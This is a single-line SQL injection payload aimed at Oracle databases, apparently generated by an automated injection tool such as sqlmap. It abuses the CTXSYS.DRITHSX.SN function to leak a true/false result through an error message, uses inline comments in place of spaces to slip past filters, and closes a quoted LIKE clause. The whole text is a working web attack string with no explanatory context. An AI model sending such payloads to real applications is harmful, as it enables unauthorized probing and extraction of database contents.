1%'AND/**/5157=CTXSYS.DRITHSX.SN(6676,CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(5157=5157)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)) AND 'YAFbK4og%'='YAFbK4og